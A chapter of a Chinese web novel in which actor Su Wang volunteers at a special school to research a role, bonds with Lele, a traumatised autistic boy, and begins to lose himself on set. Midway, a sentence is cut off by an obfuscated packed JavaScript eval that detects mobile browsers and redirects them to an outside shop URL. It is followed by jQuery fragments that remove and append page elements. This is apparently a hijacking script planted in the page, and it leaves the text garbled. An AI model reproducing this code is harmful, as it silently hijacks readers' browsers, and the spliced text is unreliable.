次日上午，宿望扒拉着盒饭正走神，场务突然推着餐车进来，被一同递到宿望手里的还有一张绿色的便签条：


    【阿望今天开心吗？】


    全组演职人员人员一边兴高采烈地喊着“谢谢宿老师！”一边分着奶茶。


    宿望咬着吸管给袁百川发消息：


    【贿赂导演？】


    【贿赂男朋友。】


    袁百川回得很快，【元旦空三天，可以让我陪你去拍摄现场吗？】


    【元旦啊，还有好久。】


    【很快的，这都十一月底了。】


    宿望又开始掰手指头了，最大受害者就是孙驰。


    “宿望你最近很亢奋啊！”孙驰看了眼被宿望毛手毛脚打翻的餐盒，“我特意留到最后吃的鸡腿！”


    宿望嬉皮笑脸的把自己那份推过去：“多大点事！吃我的！”


    收工后他习惯性摸手机，解锁了才想起今天袁百川有全天的实践课。


    房车角落里还扔着件袁百川落在这的外套，他抓过来团吧团吧塞进怀里，鼻尖蹭着洗褪色的布料深深吸气，那点熟悉的气息早散干净了。


    宿望从浴室出来看着陈默给他发的消息，头发还滴着水，在枕头上洇开深色的痕。


    【你要是状态不好的话杀青后就歇一段时间。】


    【谢谢姐，合同都签了，再说我没那没矫情。】


    宿望伸手去摸床头柜上的烟盒，发现最后一根昨天就抽完了。


    手机在枕头底下震，是袁百川发来的视频邀请。镜头那边晃过北京已经秃了的树干，紧接着是袁百川冻得有些发红的鼻尖。


    “刚跟陈导工作室的人吃完饭。”袁百川声音带着酒气，“你头发没吹？”


    宿望把摄像头转向滴水的发梢：“累，不想动。”


    视频那头安静片刻，传来窸窸窣窣的动静，袁百川翻了翻日程本：“下周三我...”


    “别。”宿望打断他，“你上回这么说完，李阳拽着孙驰连骂我三天恋爱脑。”


    袁百川皱眉：“你还当自己二十出头呢？不吹头发挣那点钱全得买生发液。”


    宿望笑着把脸埋进枕头，半晌才抬头：“吹吹吹，我这就起来还不行吗？”


    宿望把手机支在一旁，想起来陈默白天给他发的新剧的剧本：“川哥，我这段时间打算抽空去特殊学校看看。”


    那边袁百川刚进电梯，声音传过来一卡一卡的：“什么角色啊？”


    紧接着画面就彻底卡死了。


    宿望挂了电话，单手敲着手机屏幕。


    【是一个自闭症哥哥】


    去特殊学校那天是个晴天。


    特殊学校的走廊墙壁刷成淡鹅黄色，画满歪歪扭扭的太阳和花朵。宿望跟着校长走进教室时，几个孩子正围在窗台边给植物浇水，水壶歪斜着，泥水溅到地砖上，他们却笑得很亮。


    “这是新来的宿老师。”校长给孩子们介绍着。


    孩子们仰起脸，目光清澈得像雨后天空。宿望蹲下身，把带来的新衣服一件件拿出来，他亲自挑的，棉质的袖口缝着卡通小熊。一个扎羊角辫的小女孩伸手摸了摸小熊图案，眼睛弯成月牙。


    助教的工作比想象中琐碎。


    宿望帮孩子系鞋带得走到孩子身后半抱着，不然就会系成死结，擦桌子时打翻水杯，午休哄睡反而把自己先哄迷糊了。


    上午的感官训练课，宿望蹲在彩虹毯边帮个唐氏综合征的小女孩女孩串珠子。


    女孩手指不太灵活，却固执地要把蓝色珠子全挑出来。当终于串成歪歪扭扭的手链时，她突然抬头，定定地看了宿望很久，然后把手链套在宿望腕上，咧嘴笑了：“哥哥不哭。”


    说着圆乎乎的小手轻抚上宿望因昨天熬夜拍哭戏留下的微肿。


    “谢谢你的礼物。”宿望抬手看了看那串歪歪扭扭的蓝珠子，嗓子有点发紧。


    不行，不能在孩子面前哭！


    丢人啊！


    午饭时宿望注意到一个小男孩，只是跟在校长的身后，不看人，不说话，不吃饭。


    一旁的老师注意到宿望的目光低声给他解释：“这孩子是自闭症，本来状态不错的，甚至偶尔还能跟着一起上音乐课。”


    “是个苦命的孩子，就前段时间，亲眼目睹了自己母亲跳楼。”


    “他父亲出事之后就联系不上了，亲戚都不想管他，院长看他实在可怜，就让他留在学校了。”


    “打那之后除了院长以外谁跟他说话他都没反应。”


    宿望心底一酸，看着校长一点点喂着男孩吃饭，脑海里不受控制的闪过当年宿旸受伤，满身鲜血的倒在自己怀里。


    自己作为成年人都差点没挺过来，那么小的一个孩子，失去了他在这个世界上唯一的安全岛，这段时间他到底是怎么过来的？


    宿望没再说话。


    只是回去的车上，他把车窗降到底，初冬的风灌进来，到底还是吹得眼眶生疼。


    手机震了一下，是袁百川发来的消息，问他第一天体验怎么样。


    宿望盯着屏幕看了几秒，没敢说自己差点当着孩子的面痛哭流涕。


    【挺顺利的，孩子们都很乖。】


    接下来的日子宿望只要得空就往学校跑。


    白天是金戈铁马，他要笑得张扬，眼神里得烧着一把少年人不知天高地厚的火。


    但是导演喊卡的瞬间，他脸上的笑能瞬间卸得干干净净，裹着军大衣蹲在监视器边看回放，指尖都是冰的。


    傍晚收工，卸了妆发，套件羽绒服就开车往特殊学校赶。


    晚上的教室安静许多，他常陪那个自闭症小男孩待着。男孩叫乐乐，名字是希望他快乐，可现在只缩在角落，对着窗外发呆，手里攥着他妈妈给他留下的蓝色手帕。


    宿望也不强行靠近，就坐在离他两米远的地垫上自己看剧本，尝试着带着乐乐的视角进入角色。


    偶尔他会带个新的蓝色小物件，一块积木，一个弹力球，一个毛绒玩偶，轻轻放在两人中间的地上。乐乐很少给反应，但有一次，宿望离开时，发现那个玩偶被挪近了几厘米。


    就这么一点微不足道的靠近，让宿望胸口闷了一整晚。


    撕裂感是从细微处开始的，


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17020365|183223||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    小到宿望发现时已经分裂成了一条他无力拉回来的深渊。


    起初只是切换时的片刻恍惚。


    拍完一场纵马疾驰的戏，群演散去，宿望还骑在马上，望着远处灰蒙蒙的天，手指无意识地捻着缰绳，眼神空了一瞬，被导演打趣“将军回神，战争结束了”。


    后来是睡眠。梦里有时是战鼓嘶鸣，有时是大片的，无声又窒息的蓝。


    醒来时浑身冷汗，心跳得又重又慌，摸过手机想给袁百川打电话，看看时间，凌晨三点，那边应该在熟睡。他只能盯着天花板，直到窗户外泛起灰白。


    再后来，是一些自己都没意识到的习惯。在片场候场，他会不自觉地避开人群聚集的喧闹处，找个背光的角落靠着，手指无意识地抠着剧本边缘，眼神放空。


    孙驰大咧咧过来勾他脖子：“望哥，琢磨戏呢？这么入神？”宿望才猛地回过神，扯出个笑，把剧本卷起来敲他：“滚蛋，别打扰老子进情绪。”


    真正不对劲的是那天拍一场庆功宴的戏。


    需要他大笑，举着酒碗和兄弟们撞杯，意气风发。


    可当灯光、喧哗、群演的热情一下子围拢过来时，宿望突然觉得那些声音像隔着厚重的玻璃，模糊又尖锐。


    他举着碗，脸上的肌肉僵硬着，那句豪气干云的台词卡在喉咙里，怎么也喊不出来。


    “卡！”导演皱眉，“宿望，状态不对，太收了。要放！这是打了胜仗！高兴！”


    “对不起导演，”宿望放下碗，闭了闭眼，“再来一遍。”


    第二条，第三条……始终差一点。


    他高兴不起来了。


    他演出来的那高兴浮在表面，底下是空的，是冷的。


    导演让他去旁边休息十分钟。宿望走到布景外的阴影里，背对着片场，低头看着自己因握刀练出薄茧的手。这双手刚刚应该挥舞庆祝，此刻却不受控制的在发着抖。


    他猛地甩了甩头，用尽全力调动起情绪。


    不能耽误拍摄。


    当天晚上宿望还是去了特殊学校。


    乐乐今天有些焦躁，不停地用头轻轻撞着软包的墙壁，发出沉闷的“咚、咚”声，校长在一旁想干预，宿望走了过去，伸手垫在了墙上，感受着乐乐一下下的撞击，耳边是校长轻声的安抚，手指跟着乐乐的节奏一下下地叩着地板。


    “咚…咚…咚…”


    慢慢地，乐乐撞墙的幅度变小了，他微微偏过头，黑沉的眼睛看向声音的来源。宿望没有停，也没有看他，只是专注地、一下下地叩着。


    校长在旁边看着，轻轻叹了口气。


    回去的路上下了点小雨，车窗上水痕蜿蜒。宿望把车停在路边，没熄火，怔怔地看着雨刷规律地摆动。


    手机屏幕亮着，是和袁百川的聊天界面，最后一条停留在他前天晚上发来的【记得吃晚饭】，自己回了个【好】的表情包。


    他其实想和袁百川说些什么，比如“今天有点累”，或者“乐乐好像看我了一眼”，手指悬在屏幕上方，半天，还是锁了屏。


    不能矫情。


    这才哪到哪。